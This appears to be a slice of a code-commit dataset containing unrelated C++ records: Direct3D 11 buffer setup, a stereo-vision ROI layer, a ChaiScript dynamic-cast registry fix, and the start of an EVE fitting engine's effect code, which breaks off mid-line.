DeviceResource()->Device->CreateBuffer(&indexBufferDesc, &indexBufferData, &DeviceResource()->IndexBuffer);\r\n}\r\n\r\nHRESULT Model::LoadModelFromOBJFile(char* fileName)\r\n{\r\n\t\/\/ TODO : Get the vertices from the file\r\n\r\n\tVertex* vertices[] = { 0 };\r\n\r\n\tm_initData.pSysMem = vertices;\r\n\tm_initData.SysMemPitch = 0;\r\n\tm_initData.SysMemSlicePitch = 0;\r\n\r\n\tm_bufferDesc.Usage = D3D11_USAGE_DEFAULT;\r\n\tm_bufferDesc.ByteWidth = sizeof(Vertex) * ARRAYSIZE(vertices);\r\n\tm_bufferDesc.BindFlags = D3D11_BIND_VERTEX_BUFFER;\r\n\tm_bufferDesc.CPUAccessFlags = 0;\r\n\tm_bufferDesc.MiscFlags = 0;\r\n\r\n\treturn 0;\r\n}\r\n\r\nXMFLOAT4 Model::ConvertFbxVector4ToXMFLOAT4(FbxVector4* coordinate, FbxAxisSystem* axisSystem, float scale)\r\n{\r\n\tbool rightHanded = true;\r\n\tauto coordSystem = axisSystem->GetCoorSystem();\r\n\tif (coordSystem != FbxAxisSystem::ECoordSystem::eRightHanded)\r\n\t{\r\n\t\trightHanded = false;\r\n\t}\r\n\r\n\tbool yUp = true;\r\n\tbool xFront = false;\r\n\r\n\tint upInverter = 1;\r\n\tint upVectorSign;\r\n\tauto upVector = axisSystem->GetUpVector(upVectorSign);\r\n\tif (upVectorSign != -1)\r\n\t{\r\n\t\tupInverter = -1;\r\n\t}\r\n\tif (upVector != FbxAxisSystem::eYAxis)\r\n\t{\r\n\t\tyUp = false;\r\n\t}\r\n\r\n\tint frontInverter = 1;\r\n\tint frontVectorSign;\r\n\tauto frontVector = axisSystem->GetFrontVector(frontVectorSign);\r\n\tif (frontVectorSign != -1)\r\n\t{\r\n\t\tfrontInverter = -1;\r\n\t}\r\n\r\n\tauto l = 0.0f;\r\n\tauto x = 0.0f;\r\n\tauto y = 0.0f;\r\n\tauto z = 0.0f;\r\n\r\n\tXMFLOAT4 dxVector;\r\n\r\n\tif (xFront)\r\n\t{\r\n\t\tx = coordinate->mData[2] * scale;\r\n\t\ty = coordinate->mData[1] * upInverter * scale;\r\n\t\tz = coordinate->mData[0] * frontInverter * scale;\r\n\t}\r\n\telse\r\n\t{\r\n\t\t\/\/ Flip y and z to convert from RH to LH\r\n\t\tx = coordinate->mData[0] * scale;\r\n\t\ty = coordinate->mData[2] * scale;\r\n\t\tz = coordinate->mData[1] * scale;\r\n\t}\r\n\r\n\tdxVector = XMFLOAT4\r\n\t{\r\n\t\tstatic_cast<float>(x),\r\n\t\tstatic_cast<float>(y),\r\n\t\tstatic_cast<float>(z),\r\n\t\tstatic_cast<float>(l)\r\n\t};\r\n\treturn dxVector;\r\n}\r\n\r\nHRESULT Model::InitializeConstantBuffer()\r\n{\r\n\t\/\/ Belongs to renderer class\r\n\tD3D11_BUFFER_DESC constantBufferDesc = { 0 };\r\n\tconstantBufferDesc.ByteWidth = sizeof(ConstantBufferData);\r\n\tconstantBufferDesc.BindFlags = D3D11_BIND_CONSTANT_BUFFER;\r\n\r\n\tD3D11_SUBRESOURCE_DATA constantBufferData = { 0 };\r\n\tconstantBufferData.pSysMem = &DeviceResource()->ConstBuffer;\r\n\tconstantBufferData.SysMemPitch = 0;\r\n\tconstantBufferData.SysMemSlicePitch = 0;\r\n\r\n\treturn DeviceResource()->Device->CreateBuffer(&constantBufferDesc, &constantBufferData, &DeviceResource()->ConstBuffer);\r\n}\r\n\r\nHRESULT Model::InitializeVertexBuffer()\r\n{\r\n\tstatic const Vertex cube[] =\r\n\t{\r\n\t\t{ XMFLOAT4(-0.5f, -0.5f, -0.5f, 0.0f), XMFLOAT3(0.0f, 0.0f, 0.0f) },\r\n\t\t{ XMFLOAT4(-0.5f, -0.5f, 0.5f, 0.0f), XMFLOAT3(0.0f, 0.0f, 1.0f) },\r\n\t\t{ XMFLOAT4(-0.5f, 0.5f, -0.5f, 0.0f), XMFLOAT3(0.0f, 1.0f, 0.0f) },\r\n\t\t{ XMFLOAT4(-0.5f, 0.5f, 0.5f, 0.0f), XMFLOAT3(0.0f, 1.0f, 1.0f) },\r\n\t\t{ XMFLOAT4(0.5f, -0.5f, -0.5f, 0.0f), XMFLOAT3(1.0f, 0.0f, 0.0f) },\r\n\t\t{ XMFLOAT4(0.5f, -0.5f, 0.5f, 0.0f), XMFLOAT3(1.0f, 0.0f, 1.0f) },\r\n\t\t{ XMFLOAT4(0.5f, 0.5f, -0.5f, 0.0f), XMFLOAT3(1.0f, 1.0f, 0.0f) },\r\n\t\t{ XMFLOAT4(0.5f, 0.5f, 0.5f, 0.0f), XMFLOAT3(1.0f, 1.0f, 1.0f) },\r\n\t};\r\n\r\n\tD3D11_BUFFER_DESC vertexBufferDesc = { 0 };\r\n\tvertexBufferDesc.ByteWidth = sizeof(Vertex) * ARRAYSIZE(cube);\r\n\tvertexBufferDesc.Usage = D3D11_USAGE_DEFAULT;\r\n\tvertexBufferDesc.BindFlags = D3D11_BIND_VERTEX_BUFFER;\r\n\tvertexBufferDesc.CPUAccessFlags = 0;\r\n\tvertexBufferDesc.MiscFlags = 0;\r\n\tvertexBufferDesc.StructureByteStride = 0;\r\n\r\n\tD3D11_SUBRESOURCE_DATA vertexBufferData = { 0 };\r\n\tvertexBufferData.pSysMem = cube;\r\n\tvertexBufferData.SysMemPitch = 0;\r\n\tvertexBufferData.SysMemSlicePitch = 0;\r\n\r\n\treturn DeviceResource()->Device->CreateBuffer(&vertexBufferDesc, &vertexBufferData, &DeviceResource()->VertexBuffer);\r\n}\r\n\r\nHRESULT Model::InitializeIndexBuffer(int indeces[])\r\n{\r\n\t\/\/ 6 faces * 4 vertices = 24 vertices. \r\n\tstatic const unsigned int cubeIndices[] =\r\n\t{\r\n\t\t0, 2, 1, 1, 2, 3, 4, 5, 6, 5, 7, 6,\r\n\t\t0, 1, 5, 0, 5, 4, 2, 6, 7, 2, 7, 3,\r\n\t\t0, 4, 6, 0, 6, 2, 1, 3, 7, 1, 7, 5\r\n\t};\r\n\r\n\tDeviceResource()->IndexCount = ARRAYSIZE(cubeIndices);\r\n\r\n\tD3D11_BUFFER_DESC indexBufferDesc;\r\n\tindexBufferDesc.ByteWidth = sizeof(unsigned int) * ARRAYSIZE(cubeIndices);\r\n\tindexBufferDesc.Usage = D3D11_USAGE_DEFAULT;\r\n\tindexBufferDesc.BindFlags = D3D11_BIND_INDEX_BUFFER;\r\n\tindexBufferDesc.CPUAccessFlags = 0;\r\n\tindexBufferDesc.MiscFlags = 0;\r\n\tindexBufferDesc.StructureByteStride = 0;\r\n\r\n\tD3D11_SUBRESOURCE_DATA indexBufferData;\r\n\tindexBufferData.pSysMem = cubeIndices;\r\n\tindexBufferData.SysMemPitch = 0;\r\n\tindexBufferData.SysMemSlicePitch = 0;\r\n\r\n\tauto result = DeviceResource()->Device->CreateBuffer(&indexBufferDesc, &indexBufferData, &DeviceResource()->IndexBuffer);\r\n\tif (FAILED(result))\r\n\t{\r\n\t\treturn result;\r\n\t}\r\n\treturn result;\r\n}\r\n\r\nHRESULT Model::CreateVertexAndIndexBuffer(XMFLOAT3* vertices)\r\n{\r\n\t\/\/long size = 0;\r\n\t\/\/int* indexBuffer = new int[size];\r\n\t\/\/Vertex* vertexBuffer = new Vertex[size];\r\n\r\n\t\/\/for (long i = 0; i < size; i++)\r\n\t\/\/{\r\n\t\/\/\tvertexBuffer[i].Position = vertices[i];\r\n\t\/\/\tindexBuffer[i] = i;\r\n\t\/\/}\r\n\treturn 0;\r\n}\r\n\r\n\/\/ TODO : Add material<|endoftext|>"}
{"text":"<commit_before>\/*\r\nStereo Vision Algorithm Framework, Copyright(c) 2016-2018, Peng Chao\r\nѡȡROIĵ\r\n*\/\r\n\r\n#include \"CenterPointLayer.h\"\r\n\r\nnamespace svaf{\r\n\r\n\r\nCenterPointLayer::CenterPointLayer(LayerParameter& layer) : Layer(layer)\r\n{\r\n}\r\n\r\nCenterPointLayer::~CenterPointLayer()\r\n{\r\n}\r\n\r\nbool CenterPointLayer::Run(vector<Block>& images, vector<Block>& disp, LayerParameter& layer, void* param){\r\n\tCHECK_GE(images.size(), 2) << \"\";\r\n\tpWorld = (World*)param;\r\n\tint type = 2;\r\n\tswitch (type){\r\n\tcase 2:\r\n\t\tROICenter(images);\r\n\t\tbreak;\r\n\tdefault:\r\n\t\tbreak;\r\n\t}\r\n\treturn true;\r\n}\r\n\r\nvoid CenterPointLayer::ROICenter(vector<Block>& images){\r\n\tauto roi0 = images[0].roi;\r\n\tauto roi1 = images[1].roi;\r\n\timages[0].pMatch = &images[1];\r\n\r\n\t__t.StartWatchTimer();\r\n\timages[0].points.clear();\r\n\timages[1].points.clear();\r\n\timages[0].points.push_back(Point2f(roi0.width \/ 2.0, roi0.height \/ 2.0));\r\n\timages[1].points.push_back(Point2f(roi1.width \/ 2.0, roi1.height \/ 2.0));\r\n\timages[0].ptidx.push_back(0);\r\n\t__t.ReadWatchTimer(__name + \" Time\");\r\n\tif (__logt){\r\n\t\t(*figures)[__name + \"_t\"][*id] = (float)__t;\r\n\t}\r\n\r\n\tLOG(INFO) << \"ROI Center Has Been Setted.\";\r\n\tRLOG(\"ROI CenterHas Been Selected.\");\r\n}\r\n\r\n}\r\n<commit_msg>add note for CenterPointLayer.cpp<commit_after>\/*\r\nStereo Vision Algorithm Framework, Copyright(c) 2016-2018, Peng Chao\r\nѡȡROIĵ\r\n*\/\r\n\r\n#include \"CenterPointLayer.h\"\r\n\r\nnamespace svaf{\r\n\r\n\/\/ 캯\r\nCenterPointLayer::CenterPointLayer(LayerParameter& layer) : Layer(layer)\r\n{\r\n}\r\n\r\n\/\/ \r\nCenterPointLayer::~CenterPointLayer()\r\n{\r\n}\r\n\r\n\/\/ \r\nbool CenterPointLayer::Run(vector<Block>& images, vector<Block>& disp, LayerParameter& layer, void* param){\r\n\tCHECK_GE(images.size(), 2) << \"\";\r\n\tpWorld = (World*)param;\r\n\tint type = 2;\r\n\tswitch (type){\r\n\tcase 2:\r\n\t\tROICenter(images);\r\n\t\tbreak;\r\n\tdefault:\r\n\t\tbreak;\r\n\t}\r\n\treturn true;\r\n}\r\n\r\n\/\/ ROIROIλãά㼯\r\nvoid CenterPointLayer::ROICenter(vector<Block>& images){\r\n\tauto roi0 = images[0].roi;\r\n\tauto roi1 = images[1].roi;\r\n\timages[0].pMatch = &images[1];\r\n\r\n\t__t.StartWatchTimer();\r\n\timages[0].points.clear();\r\n\timages[1].points.clear();\r\n\timages[0].points.push_back(Point2f(roi0.width \/ 2.0, roi0.height \/ 2.0));\r\n\timages[1].points.push_back(Point2f(roi1.width \/ 2.0, roi1.height \/ 2.0));\r\n\timages[0].ptidx.push_back(0);\r\n\t__t.ReadWatchTimer(__name + \" Time\");\r\n\tif (__logt){\r\n\t\t(*figures)[__name + \"_t\"][*id] = (float)__t;\r\n\t}\r\n\r\n\tLOG(INFO) << \"ROI Center Has Been Setted.\";\r\n\tRLOG(\"ROI CenterHas Been Selected.\");\r\n}\r\n\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>#ifndef __chaiscriptdispatchkit_dynamic_cast_conversion_hpp__\n#define __chaiscriptdispatchkit_dynamic_cast_conversion_hpp__\n\n#include \"type_info.hpp\"\n#include \"boxed_value.hpp\"\n#include \"boxed_cast_helper.hpp\"\n#include \"bad_boxed_cast.hpp\"\n#include <boost\/static_assert.hpp>\n#include <boost\/type_traits\/is_polymorphic.hpp>\n#include <boost\/thread\/shared_mutex.hpp>\n\nnamespace chaiscript\n{\n  class bad_boxed_dynamic_cast : public bad_boxed_cast\n  {\n    public:\n      bad_boxed_dynamic_cast(const Type_Info &t_from, const std::type_info &t_to,\n          const std::string &t_what)\n        : bad_boxed_cast(t_from, t_to, t_what)\n      {\n      }\n\n      bad_boxed_dynamic_cast(const Type_Info &t_from, const std::type_info &t_to) throw()\n        : bad_boxed_cast(t_from, t_to)\n      {\n      }\n\n      bad_boxed_dynamic_cast(const std::string &w) throw()\n        : bad_boxed_cast(w)\n      {\n      }\n  };\n\n\n  namespace detail\n  {\n    class Dynamic_Conversion\n    {\n      public:\n        virtual Boxed_Value convert(const Boxed_Value &derived) = 0;\n        const Type_Info &base()\n        {\n          return m_base;\n        }\n        const Type_Info &derived()\n        {\n          return m_derived;\n        }\n\n      protected:\n        Dynamic_Conversion(const Type_Info &t_base, const Type_Info &t_derived)\n          : m_base(t_base), m_derived(t_derived)\n        {\n        }\n\n      private:\n        Type_Info m_base;\n        Type_Info m_derived;\n\n    };\n\n    template<typename Base, typename Derived>\n    class Dynamic_Conversion_Impl : public Dynamic_Conversion\n    {\n      public:\n        Dynamic_Conversion_Impl()\n          : Dynamic_Conversion(user_type<Base>(), user_type<Derived>())\n        {\n        }\n\n        virtual Boxed_Value convert(const Boxed_Value &derived)\n        {\n          if (derived.get_type_info().bare_equal(user_type<Derived>()))\n          {\n            if (derived.is_pointer())\n            {\n              \/\/ Dynamic cast out the contained boxed value, which we know is the type we want\n              if (derived.is_const())\n              {\n                boost::shared_ptr<const Base> data \n                  = boost::dynamic_pointer_cast<const Base>(detail::Cast_Helper<boost::shared_ptr<const Derived> >::cast(derived));\n                if (!data)\n                {\n                  throw std::bad_cast();\n                }\n\n                return Boxed_Value(data);\n              } else {\n                boost::shared_ptr<Base> data \n                  = boost::dynamic_pointer_cast<Base>(detail::Cast_Helper<boost::shared_ptr<Derived> >::cast(derived));\n\n                if (!data)\n                {\n                  throw std::bad_cast();\n                }\n\n                return Boxed_Value(data);\n              }\n            } else {\n              \/\/ Pull the reference out of the contained boxed value, which we know is the type we want\n              if (derived.is_const())\n              {\n                const Derived &d = detail::Cast_Helper<const Derived &>::cast(derived);\n                const Base &data = dynamic_cast<const Base &>(d);\n                return Boxed_Value(boost::cref(data));\n              } else {\n                Derived &d = detail::Cast_Helper<Derived &>::cast(derived);\n                Base &data = dynamic_cast<Base &>(d);\n                return Boxed_Value(boost::ref(data));\n              }\n            }\n          } else {\n            throw bad_boxed_dynamic_cast(derived.get_type_info(), typeid(Base), \"Unknown dynamic_cast_conversion\");\n          }\n\n        }\n    };\n\n    class Dynamic_Conversions\n    {\n      public:\n        static Dynamic_Conversions &get()\n        {\n          static Dynamic_Conversions obj;\n          return obj;\n        }\n\n        template<typename Base, typename Derived>\n          void add_conversion()\n          {\n#ifndef CHAISCRIPT_NO_THREADS\n            boost::unique_lock<boost::shared_mutex> l(m_mutex);\n#endif\n\n            m_conversions.push_back(\n                boost::shared_ptr<Dynamic_Conversion>(new Dynamic_Conversion_Impl<Base, Derived>())\n              );\n          }\n\n        bool has_conversion(const Type_Info &base, const Type_Info &derived)\n        {\n#ifndef CHAISCRIPT_NO_THREADS\n          boost::shared_lock<boost::shared_mutex> l(m_mutex);\n#endif\n\n          for (std::vector<boost::shared_ptr<Dynamic_Conversion> >::const_iterator itr = m_conversions.begin();\n               itr != m_conversions.end();\n               ++itr)\n          {\n            if ((*itr)->base().bare_equal(base) && (*itr)->derived().bare_equal(derived))\n            {\n              return true;\n            }\n          }\n\n          return false;\n        }\n\n        boost::shared_ptr<Dynamic_Conversion> get_conversion(const Type_Info &base, const Type_Info &derived)\n        {\n#ifndef CHAISCRIPT_NO_THREADS\n          boost::shared_lock<boost::shared_mutex> l(m_mutex);\n#endif\n\n          for (std::vector<boost::shared_ptr<Dynamic_Conversion> >::const_iterator itr = m_conversions.begin();\n               itr != m_conversions.end();\n               ++itr)\n          {\n            if ((*itr)->base().bare_equal(base) && (*itr)->derived().bare_equal(derived))\n            {\n              return *itr; \n            }\n          }\n\n          throw std::out_of_range(\"No such conversion exists from \" + derived.bare_name() + \" to \" + base.bare_name());\n        }\n\n      private:\n        Dynamic_Conversions() {}\n#ifndef CHAISCRIPT_NO_THREADS\n        boost::shared_mutex m_mutex;\n#endif\n        std::vector<boost::shared_ptr<Dynamic_Conversion> > m_conversions;\n    };\n  }\n\n  template<typename Base, typename Derived>\n  void register_base_class()\n  {\n    \/\/Can only be used with related polymorphic types\n    \/\/may be expanded some day to support conversions other than child -> parent\n    BOOST_STATIC_ASSERT((boost::is_base_of<Base,Derived>::value));\n    BOOST_STATIC_ASSERT(boost::is_polymorphic<Base>::value);\n    BOOST_STATIC_ASSERT(boost::is_polymorphic<Derived>::value);\n\n    detail::Dynamic_Conversions::get().add_conversion<Base, Derived>();\n  }\n\n  template<typename Base, typename Derived>\n  bool dynamic_cast_converts()\n  {\n    return dynamic_cast_converts(user_type<Base>(), user_type<Derived>());\n  }\n\n  bool dynamic_cast_converts(const Type_Info &base, const Type_Info &derived)\n  {\n    return detail::Dynamic_Conversions::get().has_conversion(base, derived);\n  }\n\n  template<typename Base>\n  Boxed_Value boxed_dynamic_cast(const Boxed_Value &derived)\n  {\n    try {\n      return detail::Dynamic_Conversions::get().get_conversion(user_type<Base>(), derived.get_type_info())->convert(derived);\n    } catch (const std::out_of_range &) {\n      throw bad_boxed_dynamic_cast(derived.get_type_info(), typeid(Base), \"No known conversion\");\n    } catch (const std::bad_cast &) {\n      throw bad_boxed_dynamic_cast(derived.get_type_info(), typeid(Base), \"Unable to perform dynamic_cast operation\");\n    }\n  }\n\n}\n\n\n#endif\n<commit_msg>Make sure the same base\/derived relationship is never registered more than once<commit_after>#ifndef __chaiscriptdispatchkit_dynamic_cast_conversion_hpp__\n#define __chaiscriptdispatchkit_dynamic_cast_conversion_hpp__\n\n#include \"type_info.hpp\"\n#include \"boxed_value.hpp\"\n#include \"boxed_cast_helper.hpp\"\n#include \"bad_boxed_cast.hpp\"\n#include <boost\/static_assert.hpp>\n#include <boost\/type_traits\/is_polymorphic.hpp>\n#include <boost\/thread\/shared_mutex.hpp>\n\nnamespace chaiscript\n{\n  class bad_boxed_dynamic_cast : public bad_boxed_cast\n  {\n    public:\n      bad_boxed_dynamic_cast(const Type_Info &t_from, const std::type_info &t_to,\n          const std::string &t_what)\n        : bad_boxed_cast(t_from, t_to, t_what)\n      {\n      }\n\n      bad_boxed_dynamic_cast(const Type_Info &t_from, const std::type_info &t_to) throw()\n        : bad_boxed_cast(t_from, t_to)\n      {\n      }\n\n      bad_boxed_dynamic_cast(const std::string &w) throw()\n        : bad_boxed_cast(w)\n      {\n      }\n  };\n\n\n  namespace detail\n  {\n    class Dynamic_Conversion\n    {\n      public:\n        virtual Boxed_Value convert(const Boxed_Value &derived) = 0;\n        const Type_Info &base()\n        {\n          return m_base;\n        }\n        const Type_Info &derived()\n        {\n          return m_derived;\n        }\n\n      protected:\n        Dynamic_Conversion(const Type_Info &t_base, const Type_Info &t_derived)\n          : m_base(t_base), m_derived(t_derived)\n        {\n        }\n\n      private:\n        Type_Info m_base;\n        Type_Info m_derived;\n\n    };\n\n    template<typename Base, typename Derived>\n    class Dynamic_Conversion_Impl : public Dynamic_Conversion\n    {\n      public:\n        Dynamic_Conversion_Impl()\n          : Dynamic_Conversion(user_type<Base>(), user_type<Derived>())\n        {\n        }\n\n        virtual Boxed_Value convert(const Boxed_Value &derived)\n        {\n          if (derived.get_type_info().bare_equal(user_type<Derived>()))\n          {\n            if (derived.is_pointer())\n            {\n              \/\/ Dynamic cast out the contained boxed value, which we know is the type we want\n              if (derived.is_const())\n              {\n                boost::shared_ptr<const Base> data \n                  = boost::dynamic_pointer_cast<const Base>(detail::Cast_Helper<boost::shared_ptr<const Derived> >::cast(derived));\n                if (!data)\n                {\n                  throw std::bad_cast();\n                }\n\n                return Boxed_Value(data);\n              } else {\n                boost::shared_ptr<Base> data \n                  = boost::dynamic_pointer_cast<Base>(detail::Cast_Helper<boost::shared_ptr<Derived> >::cast(derived));\n\n                if (!data)\n                {\n                  throw std::bad_cast();\n                }\n\n                return Boxed_Value(data);\n              }\n            } else {\n              \/\/ Pull the reference out of the contained boxed value, which we know is the type we want\n              if (derived.is_const())\n              {\n                const Derived &d = detail::Cast_Helper<const Derived &>::cast(derived);\n                const Base &data = dynamic_cast<const Base &>(d);\n                return Boxed_Value(boost::cref(data));\n              } else {\n                Derived &d = detail::Cast_Helper<Derived &>::cast(derived);\n                Base &data = dynamic_cast<Base &>(d);\n                return Boxed_Value(boost::ref(data));\n              }\n            }\n          } else {\n            throw bad_boxed_dynamic_cast(derived.get_type_info(), typeid(Base), \"Unknown dynamic_cast_conversion\");\n          }\n\n        }\n    };\n\n    class Dynamic_Conversions\n    {\n      public:\n        static Dynamic_Conversions &get()\n        {\n          static Dynamic_Conversions obj;\n          return obj;\n        }\n\n        template<typename Base, typename Derived>\n          void add_conversion()\n          {\n#ifndef CHAISCRIPT_NO_THREADS\n            boost::unique_lock<boost::shared_mutex> l(m_mutex);\n#endif\n\n            if (find(user_type<Base>(), user_type<Derived>()) == m_conversions.end())\n            {\n              m_conversions.push_back(\n                  boost::shared_ptr<Dynamic_Conversion>(new Dynamic_Conversion_Impl<Base, Derived>())\n                  );\n            }\n          }\n\n        bool has_conversion(const Type_Info &base, const Type_Info &derived)\n        {\n#ifndef CHAISCRIPT_NO_THREADS\n          boost::shared_lock<boost::shared_mutex> l(m_mutex);\n#endif\n\n          return find(base, derived) != m_conversions.end();\n        }\n\n\n        boost::shared_ptr<Dynamic_Conversion> get_conversion(const Type_Info &base, const Type_Info &derived)\n        {\n#ifndef CHAISCRIPT_NO_THREADS\n          boost::shared_lock<boost::shared_mutex> l(m_mutex);\n#endif\n\n          std::vector<boost::shared_ptr<Dynamic_Conversion> >::const_iterator itr =\n            find(base, derived);\n\n          if (itr != m_conversions.end())\n          {\n            return *itr;\n          } else {\n            throw std::out_of_range(\"No such conversion exists from \" + derived.bare_name() + \" to \" + base.bare_name());\n          }\n        }\n\n      private:\n        Dynamic_Conversions() {}\n\n        std::vector<boost::shared_ptr<Dynamic_Conversion> >::const_iterator find(\n            const Type_Info &base, const Type_Info &derived)\n        {\n          for (std::vector<boost::shared_ptr<Dynamic_Conversion> >::const_iterator itr = m_conversions.begin();\n               itr != m_conversions.end();\n               ++itr)\n          {\n            if ((*itr)->base().bare_equal(base) && (*itr)->derived().bare_equal(derived))\n            {\n              return itr;\n            }\n          }\n\n          return m_conversions.end();\n        }\n#ifndef CHAISCRIPT_NO_THREADS\n        boost::shared_mutex m_mutex;\n#endif\n        std::vector<boost::shared_ptr<Dynamic_Conversion> > m_conversions;\n    };\n  }\n\n  template<typename Base, typename Derived>\n  void register_base_class()\n  {\n    \/\/Can only be used with related polymorphic types\n    \/\/may be expanded some day to support conversions other than child -> parent\n    BOOST_STATIC_ASSERT((boost::is_base_of<Base,Derived>::value));\n    BOOST_STATIC_ASSERT(boost::is_polymorphic<Base>::value);\n    BOOST_STATIC_ASSERT(boost::is_polymorphic<Derived>::value);\n\n    detail::Dynamic_Conversions::get().add_conversion<Base, Derived>();\n  }\n\n  template<typename Base, typename Derived>\n  bool dynamic_cast_converts()\n  {\n    return dynamic_cast_converts(user_type<Base>(), user_type<Derived>());\n  }\n\n  bool dynamic_cast_converts(const Type_Info &base, const Type_Info &derived)\n  {\n    return detail::Dynamic_Conversions::get().has_conversion(base, derived);\n  }\n\n  template<typename Base>\n  Boxed_Value boxed_dynamic_cast(const Boxed_Value &derived)\n  {\n    try {\n      return detail::Dynamic_Conversions::get().get_conversion(user_type<Base>(), derived.get_type_info())->convert(derived);\n    } catch (const std::out_of_range &) {\n      throw bad_boxed_dynamic_cast(derived.get_type_info(), typeid(Base), \"No known conversion\");\n    } catch (const std::bad_cast &) {\n      throw bad_boxed_dynamic_cast(derived.get_type_info(), typeid(Base), \"Unable to perform dynamic_cast operation\");\n    }\n  }\n\n}\n\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Change C-style array to the class array<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"Effect.h\"\n#include <iostream>\n#include <fstream>\n#include <ios>\n#include \"Compiler.h\"\n#include \"Ship.h\"\n#include \"Module.h\"\n#include <cctype>\n#include <algorithm>\n#include \"Item.h\"\n#include \"Attribute.h\"\n#include \"Engine.h\"\n#include \"Character.h\"\n\n#include \"Modifier.h\"\n#include \"LocationGroupModifier.h\"\n#include \"LocationRequiredSkillModifier.h\"\n\n#include \"EffectByteCodeInterpreter.h\"\n#include \"EffectLeechInterpreter.h\"\n#include \"EffectEnergyDestabilizationNewInterpreter.h\"\n#include \"EffectEnergyTransferInterpreter.h\"\n#include \"EffectArmorRepairInterpreter.h\"\n#include \"EffectHullRepairInterpreter.h\"\n#include \"EffectShieldBoostingInterpreter.h\"\n#include \"EffectSlotModifierInterpreter.h\"\n#include \"EffectHardPointModifierEffectInterpreter.h\"\n#include \"EffectAdaptiveArmorHardener.h\"\n\n#include <boost\/shared_ptr.hpp>\n#include <boost\/weak_ptr.hpp>\n\nusing namespace eufe;\n\nconst TypeID eufe::ONLINE_EFFECT_ID = 16;\nconst TypeID eufe::LO_POWER_EFFECT_ID = 11;\nconst TypeID eufe::HI_POWER_EFFECT_ID = 12;\nconst TypeID eufe::MED_POWER_EFFECT_ID = 13;\nconst TypeID eufe::RIG_SLOT_EFFECT_ID = 2663;\nconst TypeID eufe::SUBSYSTEM_EFFECT_ID = 3772;\nconst TypeID eufe::TURRET_FITTED_EFFECT_ID = 42;\nconst TypeID eufe::LAUNCHER_FITTED_EFFECT_ID = 40;\n\nconst TypeID eufe::MINING_LASER_EFFECT_ID = 61;\nconst TypeID eufe::POWER_BOOSTER_EFFECT_ID = 48;\nconst TypeID eufe::PROJECTILE_FIRED_EFFECT_ID = 34;\nconst TypeID eufe::TARGET_ATTACK_EFFECT_ID = 10;\nconst TypeID eufe::USE_MISSILES_EFFECT_ID = 101;\n\nconst TypeID eufe::LEECH_EFFECT_ID = 3250;\nconst TypeID eufe::ENERGY_DESTABILIZATION_NEW_EFFECT_ID = 2303;\nconst TypeID eufe::ENERGY_TRANSFER_EFFECT_ID = 31;\n\nconst TypeID eufe::WARP_DISRUPTION_FIELD_EFFECT_ONLINE_EFFECT_ID = 3461;\n\nconst TypeID eufe::ARMOR_REPAIR_EFFECT_ID = 27;\nconst TypeID eufe::TARGET_ARMOR_REPAIR_EFFECT_ID = 592;\nconst TypeID eufe::SHIELD_BOOSTING_EFFECT_ID = 4;\nconst TypeID eufe::SHIELD_TRANSFER_EFFECT_ID = 18;\nconst TypeID eufe::STRUCTURE_REPAIR_EFFECT_ID = 26;\nconst TypeID eufe::REMOTE_HULL_REPAIR_EFFECT_ID = 3041;\nconst TypeID eufe::SLOT_MODIFIER_EFFECT_ID = 3774;\nconst TypeID eufe::HARD_POINT_MODIFIER_EFFECT_EFFECT_ID = 3773;\n\nconst TypeID eufe::ONLINE_FOR_STRUCTURES_EFFECT_ID = 901;\n\nconst TypeID eufe::ADAPTIVE_ARMOR_HARDENER_EFFECT_ID = 4928;\nconst TypeID eufe::FUELED_SHIELD_BOOSTING_EFFECT_ID = 4936;\n\nstatic std::map<TypeID, boost::weak_ptr<eufe::Effect> > reusableEffects;\n\nboost::shared_ptr<eufe::Effect> Effect::getEffect(Engine* engine, int effectID)\n{\n\tEngine::ScopedLock lock(*engine);\n\n\tstd::map<TypeID, boost::weak_ptr<eufe::Effect> >::iterator i, end = reusableEffects.end();\n\ti = reusableEffects.find(effectID);\n\tif (i == end) {\n\t\tboost::shared_ptr<Effect> effect(new Effect(engine, effectID));\n\t\treusableEffects[effectID] = boost::weak_ptr<Effect>(effect);\n\t\treturn effect;\n\t}\n\telse {\n\t\treturn i->second.lock();\n\t}\n}\n\n#if _DEBUG\nEffect::Effect(Engine* engine, TypeID effectID, Category category, const void* byteCode, size_t size, bool isAssistance, bool isOffensive, const char* effectName) : engine_(engine), effectID_(effectID), category_(category), effectName_(effectName)\n#else\nEffect::Effect(Engine* engine, TypeID effectID, Category category, const void* byteCode, size_t size, bool isAssistance, bool isOffensive) : engine_(engine), effectID_(effectID), category_(category)\n#endif\n{\n\tif (effectID == LEECH_EFFECT_ID)\n\t\tinterpreter_ = new EffectLeechInterpreter(engine, isAssistance, isOffensive);\n\telse if (effectID == ENERGY_DESTABILIZATION_NEW_EFFECT_ID)\n\t\tinterpreter_ = new EffectEnergyDestabilizationNewInterpreter(engine, isAssistance, isOffensive);\n\telse if (effectID == ENERGY_TRANSFER_EFFECT_ID)\n\t\tinterpreter_ = new EffectEnergyTransferInterpreter(engine, isAssistance, isOffensive);\n\telse if (effectID == ARMOR_REPAIR_EFFECT_ID)\n\t\tinterpreter_ = new EffectArmorRepairInterpreter(engine, false, isAssistance, isOffensive);\n\telse if (effectID == TARGET_ARMOR_REPAIR_EFFECT_ID)\n\t\tinterpreter_ = new EffectArmorRepairInterpreter(engine, true, isAssistance, isOffensive);\n\telse if (effectID == STRUCTURE_REPAIR_EFFECT_ID)\n\t\tinterpreter_ = new EffectHullRepairInterpreter(engine, false, isAssistance, isOffensive);\n\telse if (effectID == REMOTE_HULL_REPAIR_EFFECT_ID)\n\t\tinterpreter_ = new EffectHullRepairInterpreter(engine, true, isAssistance, isOffensive);\n\telse if (effectID == SHIELD_BOOSTING_EFFECT_ID)\n\t\tinterpreter_ = new EffectShieldBoostingInterpreter(engine, false, isAssistance, isOffensive);\n\telse if (effectID == SHIELD_TRANSFER_EFFECT_ID)\n\t\tinterpreter_ = new EffectShieldBoostingInterpreter(engine, true, isAssistance, isOffensive);\n\telse if (effectID == SLOT_MODIFIER_EFFECT_ID)\n\t\tinterpreter_ = new EffectSlotModifierInterpreter(engine, isAssistance, isOffensive);\n\telse if (effectID == HARD_POINT_MODIFIER_EFFECT_EFFECT_ID)\n\t\tinterpreter_ = new EffectHardPointModifierEffectInterpreter(engine, isAssistance, isOffensive);\n\telse if (effectID == ADAPTIVE_ARMOR_HARDENER_EFFECT_ID)\n\t\tinterpreter_ = new 